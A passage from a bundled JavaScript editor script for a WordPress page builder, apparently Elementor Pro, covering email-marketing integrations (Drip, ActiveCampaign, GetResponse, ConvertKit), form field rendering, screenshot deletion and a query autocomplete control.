				return this.fetchCache(type, cacheKey, requestArgs);
			},
			onSectionActive: function onSectionActive() {
				BaseIntegrationModule.prototype.onSectionActive.apply(this, arguments);
				this.onApiUpdate();
			}
		});

		/***/ }),
	/* 415 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			getName: function getName() {
				return 'drip';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'drip_api_token_source':
					case 'drip_custom_api_token':
						this.onApiUpdate();
						break;

					case 'drip_account':
						this.onDripAccountsUpdate();
						break;
				}
			},
			onApiUpdate: function onApiUpdate() {
				var self = this,
					controlView = self.getEditorControlView('drip_api_token_source'),
					customControlView = self.getEditorControlView('drip_custom_api_token');

				if ('default' !== controlView.getControlValue() && '' === customControlView.getControlValue()) {
					self.updateOptions('drip_account', []);
					self.getEditorControlView('drip_account').setValue('');
					return;
				}

				self.addControlSpinner('drip_account');
				this.getCacheKey({
					type: 'accounts',
					controls: [controlView.getControlValue(), customControlView.getControlValue()]
				});
				self.getDripCache('accounts', 'accounts', controlView.getControlValue()).done(function (data) {
					self.updateOptions('drip_account', data.accounts);
				});
			},
			onDripAccountsUpdate: function onDripAccountsUpdate() {
				this.updateFieldsMapping();
			},
			updateFieldsMapping: function updateFieldsMapping() {
				var controlView = this.getEditorControlView('drip_account');

				if (!controlView.getControlValue()) {
					return;
				}

				var remoteFields = {
					remote_label: elementor.translate('Email'),
					remote_type: 'email',
					remote_id: 'email',
					remote_required: true
				};
				this.getEditorControlView('drip_fields_map').updateMap([remoteFields]);
			},
			getDripCache: function getDripCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'drip',
					drip_action: action,
					api_token: this.getEditorControlView('drip_api_token_source').getControlValue(),
					custom_api_token: this.getEditorControlView('drip_custom_api_token').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			}
		});

		/***/ }),
	/* 416 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			fields: {},
			getName: function getName() {
				return 'activecampaign';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'activecampaign_api_credentials_source':
					case 'activecampaign_api_key':
					case 'activecampaign_api_url':
						this.onApiUpdate();
						break;

					case 'activecampaign_list':
						this.onListUpdate();
						break;
				}
			},
			onApiUpdate: function onApiUpdate() {
				var self = this,
					apikeyControlView = self.getEditorControlView('activecampaign_api_key'),
					apiUrlControlView = self.getEditorControlView('activecampaign_api_url'),
					apiCredControlView = self.getEditorControlView('activecampaign_api_credentials_source');

				if ('default' !== apiCredControlView.getControlValue() && ('' === apikeyControlView.getControlValue() || '' === apiUrlControlView.getControlValue())) {
					self.updateOptions('activecampaign_list', []);
					self.getEditorControlView('activecampaign_list').setValue('');
					return;
				}

				self.addControlSpinner('activecampaign_list');
				var cacheKey = this.getCacheKey({
					controls: [apiCredControlView.getControlValue(), apiUrlControlView.getControlValue(), apikeyControlView.getControlValue()]
				});
				self.getActiveCampaignCache('lists', 'activecampaign_list', cacheKey).done(function (data) {
					self.updateOptions('activecampaign_list', data.lists);
					self.fields = data.fields;
				});
			},
			onListUpdate: function onListUpdate() {
				this.updateFieldsMapping();
			},
			updateFieldsMapping: function updateFieldsMapping() {
				var controlView = this.getEditorControlView('activecampaign_list');

				if (!controlView.getControlValue()) {
					return;
				}

				var remoteFields = [{
					remote_label: elementor.translate('Email'),
					remote_type: 'email',
					remote_id: 'email',
					remote_required: true
				}, {
					remote_label: elementor.translate('First Name'),
					remote_type: 'text',
					remote_id: 'first_name',
					remote_required: false
				}, {
					remote_label: elementor.translate('Last Name'),
					remote_type: 'text',
					remote_id: 'last_name',
					remote_required: false
				}, {
					remote_label: elementor.translate('Phone'),
					remote_type: 'text',
					remote_id: 'phone',
					remote_required: false
				}, {
					remote_label: elementor.translate('Organization name'),
					remote_type: 'text',
					remote_id: 'orgname',
					remote_required: false
				}];

				for (var field in this.fields) {
					if (this.fields.hasOwnProperty(field)) {
						remoteFields.push(this.fields[field]);
					}
				}

				this.getEditorControlView('activecampaign_fields_map').updateMap(remoteFields);
			},
			getActiveCampaignCache: function getActiveCampaignCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'activecampaign',
					activecampaign_action: action,
					api_key: this.getEditorControlView('activecampaign_api_key').getControlValue(),
					api_url: this.getEditorControlView('activecampaign_api_url').getControlValue(),
					api_cred: this.getEditorControlView('activecampaign_api_credentials_source').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			}
		});

		/***/ }),
	/* 417 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			getName: function getName() {
				return 'getresponse';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'getresponse_custom_api_key':
					case 'getresponse_api_key_source':
						this.onApiUpdate();
						break;

					case 'getresponse_list':
						this.onGetResonseListUpdate();
						break;
				}
			},
			onApiUpdate: function onApiUpdate() {
				var self = this,
					controlView = self.getEditorControlView('getresponse_api_key_source'),
					customControlView = self.getEditorControlView('getresponse_custom_api_key');

				if ('default' !== controlView.getControlValue() && '' === customControlView.getControlValue()) {
					self.updateOptions('getresponse_list', []);
					self.getEditorControlView('getresponse_list').setValue('');
					return;
				}

				self.addControlSpinner('getresponse_list');
				var cacheKey = this.getCacheKey({
					type: 'lists',
					controls: [controlView.getControlValue(), customControlView.getControlValue()]
				});
				self.getCache('lists', 'lists', cacheKey).done(function (data) {
					self.updateOptions('getresponse_list', data.lists);
				});
			},
			onGetResonseListUpdate: function onGetResonseListUpdate() {
				this.updatGetResonseList();
			},
			updatGetResonseList: function updatGetResonseList() {
				var self = this,
					controlView = self.getEditorControlView('getresponse_list');

				if (!controlView.getControlValue()) {
					return;
				}

				self.addControlSpinner('getresponse_fields_map');
				var cacheKey = this.getCacheKey({
					type: 'fields',
					controls: [controlView.getControlValue()]
				});
				self.getCache('fields', 'get_fields', cacheKey, {
					getresponse_list: controlView.getControlValue()
				}).done(function (data) {
					self.getEditorControlView('getresponse_fields_map').updateMap(data.fields);
				});
			},
			getCache: function getCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'getresponse',
					getresponse_action: action,
					api_key: this.getEditorControlView('getresponse_api_key_source').getControlValue(),
					custom_api_key: this.getEditorControlView('getresponse_custom_api_key').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			},
			onSectionActive: function onSectionActive() {
				BaseIntegrationModule.prototype.onSectionActive.apply(this, arguments);
				this.updatGetResonseList();
			}
		});

		/***/ }),
	/* 418 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var BaseIntegrationModule = __webpack_require__(199);

		module.exports = BaseIntegrationModule.extend({
			getName: function getName() {
				return 'convertkit';
			},
			onElementChange: function onElementChange(setting) {
				switch (setting) {
					case 'convertkit_api_key_source':
					case 'convertkit_custom_api_key':
						this.onApiUpdate();
						break;

					case 'convertkit_form':
						this.onListUpdate();
						break;
				}
			},
			onApiUpdate: function onApiUpdate() {
				var self = this,
					apiKeyControlView = self.getEditorControlView('convertkit_api_key_source'),
					customApikeyControlView = self.getEditorControlView('convertkit_custom_api_key');

				if ('default' !== apiKeyControlView.getControlValue() && '' === customApikeyControlView.getControlValue()) {
					self.updateOptions('convertkit_form', []);
					self.getEditorControlView('convertkit_form').setValue('');
					return;
				}

				self.addControlSpinner('convertkit_form');
				var cacheKey = this.getCacheKey({
					type: 'data',
					controls: [apiKeyControlView.getControlValue(), customApikeyControlView.getControlValue()]
				});
				self.getConvertKitCache('data', 'convertkit_get_forms', cacheKey).done(function (data) {
					self.updateOptions('convertkit_form', data.data.forms);
					self.updateOptions('convertkit_tags', data.data.tags);
				});
			},
			onListUpdate: function onListUpdate() {
				this.updateFieldsMapping();
			},
			updateFieldsMapping: function updateFieldsMapping() {
				var controlView = this.getEditorControlView('convertkit_form');

				if (!controlView.getControlValue()) {
					return;
				}

				var remoteFields = [{
					remote_label: elementor.translate('Email'),
					remote_type: 'email',
					remote_id: 'email',
					remote_required: true
				}, {
					remote_label: elementor.translate('First Name'),
					remote_type: 'text',
					remote_id: 'first_name',
					remote_required: false
				}];
				this.getEditorControlView('convertkit_fields_map').updateMap(remoteFields);
			},
			getConvertKitCache: function getConvertKitCache(type, action, cacheKey, requestArgs) {
				if (_.has(this.cache[type], cacheKey)) {
					var data = {};
					data[type] = this.cache[type][cacheKey];
					return jQuery.Deferred().resolve(data);
				}

				requestArgs = _.extend({}, requestArgs, {
					service: 'convertkit',
					convertkit_action: action,
					api_key: this.getEditorControlView('convertkit_api_key_source').getControlValue(),
					custom_api_key: this.getEditorControlView('convertkit_custom_api_key').getControlValue()
				});
				return this.fetchCache(type, cacheKey, requestArgs);
			}
		});

		/***/ }),
	/* 419 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				if ('yes' === item.use_native_time) {
					itemClasses += ' elementor-use-native';
				}

				return '<input size="1" type="time"' + placeholder + ' class="elementor-field-textual elementor-time-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/time', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 420 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					min = '',
					max = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.min_date) {
					min = ' min="' + item.min_date + '"';
				}

				if (item.max_date) {
					max = ' max="' + item.max_date + '"';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				if ('yes' === item.use_native_date) {
					itemClasses += ' elementor-use-native';
				}

				return '<input size="1"' + min + max + placeholder + ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}" type="date" class="elementor-field-textual elementor-date-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/date', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 421 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					label = '',
					checked = '';

				if (item.required) {
					required = 'required';
				}

				if (item.acceptance_text) {
					label = '<label for="form_field_' + i + '">' + item.acceptance_text + '</label>';
				}

				if (item.checked_by_default) {
					checked = ' checked="checked"';
				}

				return '<div class="elementor-field-subgroup">' + '<span class="elementor-field-option">' + '<input size="1" type="checkbox"' + checked + ' class="elementor-acceptance-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' > ' + label + '</span></div>';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/acceptance', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 422 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					multiple = '',
					fieldName = 'form_field_';

				if (item.required) {
					required = 'required';
				}

				if (item.allow_multiple_upload) {
					multiple = ' multiple="multiple"';
					fieldName += '[]';
				}

				return '<input size="1"  type="file" class="elementor-file-field elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="' + fieldName + '" id="form_field_' + i + '" ' + required + multiple + ' >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/upload', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 423 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			renderField: function renderField(inputField, item, i, settings) {
				var itemClasses = _.escape(item.css_classes),
					required = '',
					placeholder = '';

				if (item.required) {
					required = 'required';
				}

				if (item.placeholder) {
					placeholder = ' placeholder="' + item.placeholder + '"';
				}

				itemClasses = 'elementor-field-textual ' + itemClasses;
				return '<input size="1" type="' + item.field_type + '" class="elementor-field-textual elementor-field elementor-size-' + settings.input_size + ' ' + itemClasses + '" name="form_field_' + i + '" id="form_field_' + i + '" ' + required + ' ' + placeholder + ' pattern="[0-9()-]" >';
			},
			onInit: function onInit() {
				elementor.hooks.addFilter('elementor_pro/forms/content_template/field/tel', this.renderField, 10, 4);
			}
		});

		/***/ }),
	/* 424 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementor.modules.controls.Repeater.extend({
			onBeforeRender: function onBeforeRender() {
				this.$el.hide();
			},
			updateMap: function updateMap(fields) {
				var self = this,
					savedMapObject = {};
				self.collection.each(function (model) {
					savedMapObject[model.get('remote_id')] = model.get('local_id');
				});
				self.collection.reset();

				_.each(fields, function (field) {
					var model = {
						remote_id: field.remote_id,
						remote_label: field.remote_label,
						remote_type: field.remote_type ? field.remote_type : '',
						remote_required: field.remote_required ? field.remote_required : false,
						local_id: savedMapObject[field.remote_id] ? savedMapObject[field.remote_id] : ''
					};
					self.collection.add(model);
				});

				self.render();
			},
			onRender: function onRender() {
				elementor.modules.controls.Base.prototype.onRender.apply(this, arguments);
				var self = this;
				self.children.each(function (view) {
					var localFieldsControl = view.children.last(),
						options = {
							'': '- ' + elementor.translate('None') + ' -'
						},
						label = view.model.get('remote_label');

					if (view.model.get('remote_required')) {
						label += '<span class="elementor-required">*</span>';
					}

					_.each(self.elementSettingsModel.get('form_fields').models, function (model, index) {
						// If it's an email field, add only email fields from thr form
						var remoteType = view.model.get('remote_type');

						if ('text' !== remoteType && remoteType !== model.get('field_type')) {
							return;
						}

						options[model.get('custom_id')] = model.get('field_label') || 'Field #' + (index + 1);
					});

					localFieldsControl.model.set('label', label);
					localFieldsControl.model.set('options', options);
					localFieldsControl.render();
					view.$el.find('.elementor-repeater-row-tools').hide();
					view.$el.find('.elementor-repeater-row-controls').removeClass('elementor-repeater-row-controls').find('.elementor-control').css({
						paddingBottom: 0
					});
				});
				self.$el.find('.elementor-button-wrapper').remove();

				if (self.children.length) {
					self.$el.show();
				}
			}
		});

		/***/ }),
	/* 425 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _fieldsRepeaterRow = _interopRequireDefault(__webpack_require__(426));

		module.exports = /*#__PURE__*/function (_elementor$modules$co) {
			(0, _inherits2.default)(_class, _elementor$modules$co);

			var _super = (0, _createSuper2.default)(_class);

			function _class() {
				(0, _classCallCheck2.default)(this, _class);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_class, [{
				key: "className",
				value: function className() {
					var classes = (0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "className", this).call(this);
					classes += ' elementor-control-type-repeater';
					return classes;
				}
			}, {
				key: "getChildView",
				value: function getChildView() {
					return _fieldsRepeaterRow.default;
				}
			}, {
				key: "initialize",
				value: function initialize() {
					var _get2,
						_this = this;

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					(_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "initialize", this)).call.apply(_get2, [this].concat(args));

					var formFields = this.container.settings.get('form_fields');
					this.listenTo(formFields, 'change', function (model) {
						return _this.onFormFieldChange(model);
					}).listenTo(formFields, 'remove', function (model) {
						return _this.onFormFieldRemove(model);
					});
				}
			}, {
				key: "getFirstChild",
				value: function getFirstChild() {
					return this.children.findByModel(this.collection.models[0]);
				}
			}, {
				key: "lockFirstStep",
				value: function lockFirstStep() {
					var firstChild = this.getFirstChild();

					if ('step' !== firstChild.model.get('field_type')) {
						return;
					}

					var stepFields = this.collection.where({
						field_type: 'step'
					});

					if (1 < stepFields.length) {
						firstChild.toggleFieldTypeControl(false);
						firstChild.toggleTools(false);
					}

					firstChild.toggleSort(false);
				}
			}, {
				key: "onFormFieldChange",
				value: function onFormFieldChange(model) {
					var fieldType = model.changed.field_type;

					if (!fieldType || 'step' !== fieldType && 'step' !== model._previousAttributes.field_type) {
						return;
					}

					var isStep = 'step' === fieldType;
					this.children.findByModel(model).toggleStepField(isStep);
					this.onStepFieldChanged(isStep);
				}
			}, {
				key: "onFormFieldRemove",
				value: function onFormFieldRemove(model) {
					if ('step' === model.get('field_type')) {
						this.onStepFieldChanged(false);
					}
				}
			}, {
				key: "onStepFieldChanged",
				value: function onStepFieldChanged(isStep) {
					if (isStep) {
						this.lockFirstStep();
						return;
					}

					var stepFields = this.collection.where({
						field_type: 'step'
					});

					if (stepFields.length > 1) {
						return;
					}

					var firstChild = this.getFirstChild();

					if (1 === stepFields.length) {
						firstChild.toggleTools(true);
						firstChild.toggleFieldTypeControl(true);
						return;
					}

					firstChild.toggleSort(true);
				}
			}, {
				key: "onAddChild",
				value: function onAddChild(childView) {
					(0, _get3.default)((0, _getPrototypeOf2.default)(_class.prototype), "onAddChild", this).call(this, childView);

					if ('step' === childView.model.get('field_type')) {
						this.lockFirstStep();
						childView.toggleStepField(true);
					}
				}
			}]);
			return _class;
		}(elementor.modules.controls.Repeater);

		/***/ }),
	/* 426 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementor$modules$co) {
			(0, _inherits2.default)(_default, _elementor$modules$co);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "toggleFieldTypeControl",
				value: function toggleFieldTypeControl(show) {
					var fieldTypeModel = this.collection.findWhere({
							name: 'field_type'
						}),
						fieldTypeControl = this.children.findByModel(fieldTypeModel);
					fieldTypeControl.$el.toggle(show);
				}
			}, {
				key: "toggleStepField",
				value: function toggleStepField(isStep) {
					this.$el.toggleClass('elementor-repeater-row--form-step', isStep);
				}
			}, {
				key: "toggleTools",
				value: function toggleTools(show) {
					this.ui.removeButton.add(this.ui.duplicateButton).toggle(show);
				}
			}]);
			return _default;
		}(elementor.modules.controls.RepeaterRow);

		exports.default = _default;

		/***/ }),
	/* 427 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(428));

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				(0, _classCallCheck2.default)(this, Module);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Module, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					$e.components.register(new _component.default());
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 428 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var dataHooks = _interopRequireWildcard(__webpack_require__(429));

		var _default = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(_default, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'screenshots';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(dataHooks);
				}
			}]);
			return _default;
		}($e.modules.ComponentBase);

		exports.default = _default;

		/***/ }),
	/* 429 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "DeleteScreenshot", {
			enumerable: true,
			get: function get() {
				return _deleteScreenshot.DeleteScreenshot;
			}
		});

		var _deleteScreenshot = __webpack_require__(430);

		/***/ }),
	/* 430 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.DeleteScreenshot = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var DeleteScreenshot = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(DeleteScreenshot, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(DeleteScreenshot);

			function DeleteScreenshot() {
				(0, _classCallCheck2.default)(this, DeleteScreenshot);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(DeleteScreenshot, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var status = args.status,
						config = elementor.documents.getCurrent().config;
					return 'publish' === status && config.support_site_editor;
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'document/save/save::delete-screenshot';
				}
			}, {
				key: "apply",
				value: function apply() {
					var postId = elementor.documents.getCurrent().id;
					return elementorCommon.ajax.addRequest('screenshot_delete', {
						unique_id: "delete_screenshot_".concat(postId),
						data: {
							post_id: postId
						}
					});
				}
			}]);
			return DeleteScreenshot;
		}($e.modules.hookData.After);

		exports.DeleteScreenshot = DeleteScreenshot;
		var _default = DeleteScreenshot;
		exports.default = _default;

		/***/ }),
	/* 431 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(239));

		var _commands = __webpack_require__(181);

		var Module = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(Module, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(Module);

			function Module() {
				(0, _classCallCheck2.default)(this, Module);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(Module, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					var config = elementor.documents.getCurrent().config;

					if (config.support_site_editor) {
						$e.components.register(new _component.default());
						$e.data.deleteCache($e.components.get(_component.default.namespace), _commands.Templates.signature);
					}
				}
			}]);
			return Module;
		}(elementorModules.editor.utils.Module);

		exports.default = Module;

		/***/ }),
	/* 432 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				elementor.addControlView('Query', __webpack_require__(433));
			}
		});

		/***/ }),
	/* 433 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = elementor.modules.controls.Select2.extend({
			cache: null,
			isTitlesReceived: false,
			getSelect2Placeholder: function getSelect2Placeholder() {
				return {
					id: '',
					text: elementorPenci.translate('all')
				};
			},
			getControlValueByName: function getControlValueByName(controlName) {
				var name = this.model.get('group_prefix') + controlName;
				return this.elementSettingsModel.attributes[name];
			},
			getQueryDataDeprecated: function getQueryDataDeprecated() {
				return {
					filter_type: this.model.get('filter_type'),
					object_type: this.model.get('object_type'),
					include_type: this.model.get('include_type'),
					query: this.model.get('query')
				};
			},
			getQueryData: function getQueryData() {
				// Use a clone to keep model data unchanged:
				var autocomplete = elementorCommon.helpers.cloneObject(this.model.get('autocomplete'));

				if (_.isEmpty(autocomplete.query)) {
					autocomplete.query = {};
				} // Specific for Group_Control_Query


				if ('cpt_tax' === autocomplete.object) {
					autocomplete.object = 'tax';

					if (_.isEmpty(autocomplete.query) || _.isEmpty(autocomplete.query.post_type)) {
						autocomplete.query.post_type = this.getControlValueByName('post_type');
					}
				}

				return {
					autocomplete: autocomplete
				};
			},
			getSelect2DefaultOptions: function getSelect2DefaultOptions() {
				var self = this;

				return jQuery.extend(elementor.modules.controls.Select2.prototype.getSelect2DefaultOptions.apply(this, arguments), {
					ajax: {
						transport: function transport(params, success, failure) {
							var bcFormat = !_.isEmpty(self.model.get('filter_type'));
							var data = {},
								action = 'panel_posts_control_filter_autocomplete';

							if (bcFormat) {
								data = self.getQueryDataDeprecated();
								action = 'panel_posts_control_filter_autocomplete';
							} else {
								data = self.getQueryData();
							}

							data.q = params.data.q;
							return elementorPenci.ajax.addRequest(action, {
								data: data,
								success: success,
								error: failure
							});
						},
						data: function data(params) {
							return {
								q: params.term,
								page: params.page
							};
						},
						cache: true
					},
					escapeMarkup: function escapeMarkup(markup) {
						return markup;
					},
					minimumInputLength: 1
				});
			},
			getValueTitles: function getValueTitles() {
				var self = this,
					data = {},
					bcFormat = !_.isEmpty(this.model.get('filter_type'));
				var ids = this.getControlValue(),
					action = 'query_control_value_titles',
					filterTypeName = 'autocomplete',
					filterType = {};

				if (bcFormat) {
					filterTypeName = 'filter_type';
					filterType = this.model.get(filterTypeName);
					data.filter_type = filterType;
					data.object_type = self.model.get('object_type');
					data.include_type = self.model.get('include_type');
					data.unique_id = '' + self.cid + filterType;
					action = 'query_control_value_titles';
				} else {
					filterType = this.model.get(filterTypeName).object;
					data.get_titles = self.getQueryData().autocomplete;
					data.unique_id = '' + self.cid + filterType;
				}

				if (!ids || !filterType) {
					return;
				}

				if (!_.isArray(ids)) {
					ids = [ids];
				}

				elementorCommon.ajax.loadObjects({
					action: action,
					ids: ids,
					data: data,
					before: function before() {
						self.addControlSpinner();
					},
					success: function success(ajaxData) {
						self.isTitlesReceived = true;
						self.model.set('options', ajaxData);
						self.render();
					}
				});
			},
			addControlSpinner: function addControlSpinner() {
				this.ui.select.prop('disabled', true);
				this.$el.find('.elementor-control-title').after('<span class="elementor-control-spinner">&nbsp;<i class="eicon-spinner eicon-animation-spin"></i>&nbsp;</span>');
			},
			onReady: function onReady() {
				if (!this.isTitlesReceived) {
					this.getValueTitles();
				}
			}
		});

		/***/ }),
	/* 434 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		module.exports = elementorModules.editor.utils.Module.extend({
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				var EditButton = __webpack_require__(435);

				this.editButton = new EditButton();
			}
		});

		/***/ }),
	/* 435 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		__webpack_require__(19);

		module.exports = function () {
			var self = this;

			self.onPanelShow = function (panel) {
				var model = panel.content.currentView.collection.findWhere({
					name: 'template_id'
				});
				self.templateIdView = panel.content.currentView.children.findByModelCid(model.cid); // Change Edit link on render & on change template.

